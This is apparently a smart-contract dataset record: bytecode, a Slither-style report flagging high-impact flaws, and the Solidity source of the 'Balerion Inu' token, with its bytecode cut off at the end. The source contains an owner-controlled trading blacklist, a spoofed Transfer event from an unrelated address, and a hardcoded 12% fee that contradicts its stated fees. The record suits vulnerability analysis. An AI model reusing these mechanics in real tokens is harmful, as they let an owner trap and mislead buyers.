900460ff16806126665750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561267057600090505b61267d8585858486612969565b5050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156126ec573d6000803e3d6000fd5b5050565b6001601060016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561272857612727612f39565b5b6040519080825280602002602001820160405280156127565781602001602082028036833780820191505090505b509050308160008151811061276e5761276d6132da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612815573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128399190613525565b8160018151811061284d5761284c6132da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506128b430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b16565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612918959493929190613e20565b600060405180830381600087803b15801561293257600080fd5b505af1158015612946573d6000803e3d6000fd5b50505050506000601060016101000a81548160ff02191690831515021790555050565b6000612975838361298b565b9050612983868686846129b9565b505050505050565b6000806000905083156129af5782156129a857600a5490506129ae565b600b5490505b5b8091505092915050565b6000806129c68484612b5c565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1591906132a6565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aa39190613a30565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612aef81612b9a565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b4c9190612c44565b60405180910390a3505050505050565b600080600060648486612b6f9190613ca8565b612b799190613d31565b905060008186612b8991906132a6565b905080829350935050509250929050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be59190613a30565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000819050919050565b612c3e81612c2b565b82525050565b6000602082019050612c596000830184612c35565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c99578082015181840152602081019050612c7e565b83811115612ca8576000848401525b50505050565b6000601f19601f8301169050919050565b6000612cca82612c5f565b612cd48185612c6a565b9350612ce4818560208601612c7b565b612ced81612cae565b840191505092915050565b60006020820190508181036000830152612d128184612cbf565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d5982612d2e565b9050919050565b612d6981612d4e565b8114612d7457600080fd5b50565b600081359050612d8681612d60565b92915050565b612d9581612c2b565b8114612da057600080fd5b50565b600081359050612db281612d8c565b92915050565b60008060408385031215612dcf57612dce612d24565b5b6000612ddd85828601612d77565b9250506020612dee85828601612da3565b9150509250929050565b60008115159050919050565b612e0d81612df8565b82525050565b6000602082019050612e286000830184612e04565b92915050565b60008060408385031215612e4557612e44612d24565b5b6000612e5385828601612da3565b9250506020612e6485828601612da3565b9150509250929050565b6000612e7982612d2e565b9050919050565b612e8981612e6e565b82525050565b6000602082019050612ea46000830184612e80565b92915050565b600080600060608486031215612ec357612ec2612d24565b5b6000612ed186828701612d77565b9350506020612ee286828701612d77565b9250506040612ef386828701612da3565b9150509250925092565b600060ff82169050919050565b612f1381612efd565b82525050565b6000602082019050612f2e6000830184612f0a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612f7182612cae565b810181811067ffffffffffffffff82111715612f9057612f8f612f39565b5b80604052505050565b6000612fa3612d1a565b9050612faf8282612f68565b919050565b600067ffffffffffffffff821115612fcf57612fce612f39565b5b602082029050602081019050919050565b600080fd5b6000612ff8612ff384612fb4565b612f99565b9050808382526020820190506020840283018581111561301b5761301a612fe0565b5b835b8181101561304457806130308882612d77565b84526020840193505060208101905061301d565b5050509392505050565b600082601f83011261306357613062612f34565b5b8135613073848260208601612fe5565b91505092915050565b60006020828403121561309257613091612d24565b5b600082013567ffffffffffffffff8111156130b0576130af612d29565b5b6130bc8482850161304e565b91505092915050565b6000602082840312156130db576130da612d24565b5b60006130e984828501612d77565b91505092915050565b60006020828403121561310857613107612d24565b5b600061311684828501612da3565b91505092915050565b61312881612d4e565b82525050565b6000602082019050613143600083018461311f565b92915050565b61315281612df8565b811461315d57600080fd5b50565b60008135905061316f81613149565b92915050565b60006020828403121561318b5761318a612d24565b5b600061319984828501613160565b91505092915050565b600080604083850312156131b9576131b8612d24565b5b60006131c785828601612d77565b92505060206131d885828601612d77565b9150509250929050565b7f4e6f7420686967686572207468616e206f7269676e616c20726174652e000000600082015250565b6000613218601d83612c6a565b9150613223826131e2565b602082019050919050565b600060208201905081810360008301526132478161320b565b9050919050565b60006040820190506132636000830185612c35565b6132706020830184612c35565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006132b182612c2b565b91506132bc83612c2b565b9250828210156132cf576132ce613277565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061331482612c2b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334757613346613277565b5b600182019050919050565b7f63616e2774206265207a65726f00000000000000000000000000000000000000600082015250565b6000613388600d83612c6a565b915061339382613352565b602082019050919050565b600060208201905081810360008301526133b78161337b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006133f4602083612c6a565b91506133ff826133be565b602082019050919050565b60006020820190508181036000830152613423816133e7565b9050919050565b6000819050919050565b600061344f61344a61344584612d2e565b61342a565b612d2e565b9050919050565b600061346182613434565b9050919050565b600061347382613456565b9050919050565b61348381613468565b82525050565b600060208201905061349e600083018461347a565b92915050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006134da601783612c6a565b91506134e5826134a4565b602082019050919050565b60006020820190508181036000830152613509816134cd565b9050919050565b60008151905061351f81612d60565b92915050565b60006020828403121561353b5761353a612d24565b5b600061354984828501613510565b91505092915050565b6000604082019050613567600083018561311f565b613574602083018461311f565b9392505050565b6000819050919050565b60006135a061359b6135968461357b565b61342a565b612c2b565b9050919050565b6135b081613585565b82525050565b600060c0820190506135cb600083018961311f565b6135d86020830188612c35565b6135e560408301876135a7565b6135f260608301866135a7565b6135ff608083018561311f565b61360c60a0830184612c35565b979650505050505050565b60008151905061362681612d8c565b92915050565b60008060006060848603121561364557613644612d24565b5b600061365386828701613617565b935050602061366486828701613617565b925050604061367586828701613617565b9150509250925092565b6000604082019050613694600083018561311f565b6136a16020830184612c35565b9392505050565b6000815190506136b781613149565b92915050565b6000602082840312156136d3576136d2612d24565b5b60006136e1848285016136a8565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613746602483612c6a565b9150613751826136ea565b604082019050919050565b6000602082019050818103600083015261377581613739565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006137d8602283612c6a565b91506137e38261377c565b604082019050919050565b60006020820190508181036000830152613807816137cb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061386a602583612c6a565b91506138758261380e565b604082019050919050565b600060208201905081810360008301526138998161385d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006138fc602383612c6a565b9150613907826138a0565b604082019050919050565b6000602082019050818103600083015261392b816138ef565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061398e602983612c6a565b915061399982613932565b604082019050919050565b600060208201905081810360008301526139bd81613981565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b60006139fa601883612c6a565b9150613a05826139c4565b602082019050919050565b60006020820190508181036000830152613a29816139ed565b9050919050565b6000613a3b82612c2b565b9150613a4683612c2b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a7b57613a7a613277565b5b828201905092915050565b7f596f752063616e2774206f776e2074686174206d616e7920746f6b656e73206160008201527f74206f6e63652e00000000000000000000000000000000000000000000000000602082015250565b6000613ae2602783612c6a565b9150613aed82613a86565b604082019050919050565b60006020820190508181036000830152613b1181613ad5565b9050919050565b7f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000600082015250565b6000613b4e601b83612c6a565b9150613b5982613b18565b602082019050919050565b60006020820190508181036000830152613b7d81613b41565b9050919050565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b6000613be0602283612c6a565b9150613beb82613b84565b604082019050919050565b60006020820190508181036000830152613c0f81613bd3565b9050919050565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b6000613c72602383612c6a565b9150613c7d82613c16565b604082019050919050565b60006020820190508181036000830152613ca181613c65565b9050919050565b6000613cb382612c2b565b9150613cbe83612c2b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cf757613cf6613277565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613d3c82612c2b565b9150613d4783612c2b565b925082613d5757613d56613d02565b5b828204905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613d9781612d4e565b82525050565b6000613da98383613d8e565b60208301905092915050565b6000602082019050919050565b6000613dcd82613d62565b613dd78185613d6d565b9350613de283613d7e565b8060005b83811015613e13578151613dfa8882613d9d565b9750613e0583613db5565b925050600181019050613de6565b5085935050505092915050565b600060a082019050613e356000830188612c35565b613e4260208301876135a7565b8181036040830152613e548186613dc2565b9050613e63606083018561311f565b613e706080830184612c35565b969550505050505056fea264697066735822122008da26d4dda1d9ae7140411546bf241476692da55d958dd300e54572670a550664736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,144
0xc0dE7c0226381baa35fb60d63c6466C21b845d6A
/* Balerion, known as Balerion the Black Dread Join Balerion: https://t.me/balerioninu */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Balerion is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Balerion Inu | t.me/BalerionInu"; string private constant _symbol = "BalerionInu"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1 * 10**9 *10**9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 3; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 3; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1 * 10**7 * 10**9 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 12); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612eb4565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129bb565b61045e565b6040516101789190612e99565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613056565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612968565b610490565b6040516101e09190612e99565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128ce565b610569565b005b34801561021e57600080fd5b50610227610659565b60405161023491906130cb565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a44565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128ce565b610786565b6040516102b19190613056565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612dcb565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612eb4565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129bb565b610990565b60405161035b9190612e99565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129fb565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a9e565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612928565b611200565b6040516104189190613056565b60405180910390f35b60606040518060400160405280601f81526020017f42616c6572696f6e20496e75207c20742e6d652f42616c6572696f6e496e7500815250905090565b600061047261046b611287565b848461128f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d84848461145a565b61055e846104a9611287565b610559856040518060600160405280602881526020016137d260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b61128f565b600190509392505050565b610571611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612f96565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612f96565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610755611287565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611c7d565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9e565b9050919050565b6107df611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612f96565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f42616c6572696f6e496e75000000000000000000000000000000000000000000815250905090565b60006109a461099d611287565b848461145a565b6001905092915050565b6109b6611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612f96565b60405180910390fd5b60005b8151811015610ad4576001600a6000848481518110610a6857610a67613413565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc9061336c565b915050610a46565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b19611287565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611e0c565b50565b610b5a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612f96565b60405180910390fd5b600f60149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90613016565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061128f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906128fb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906128fb565b6040518363ffffffff1660e01b8152600401610dff929190612de6565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906128fb565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612e38565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f599190612acb565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a084595161401484a0000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612e0f565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612a71565b5050565b6110bc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612f96565b60405180910390fd5b6000811161118c576040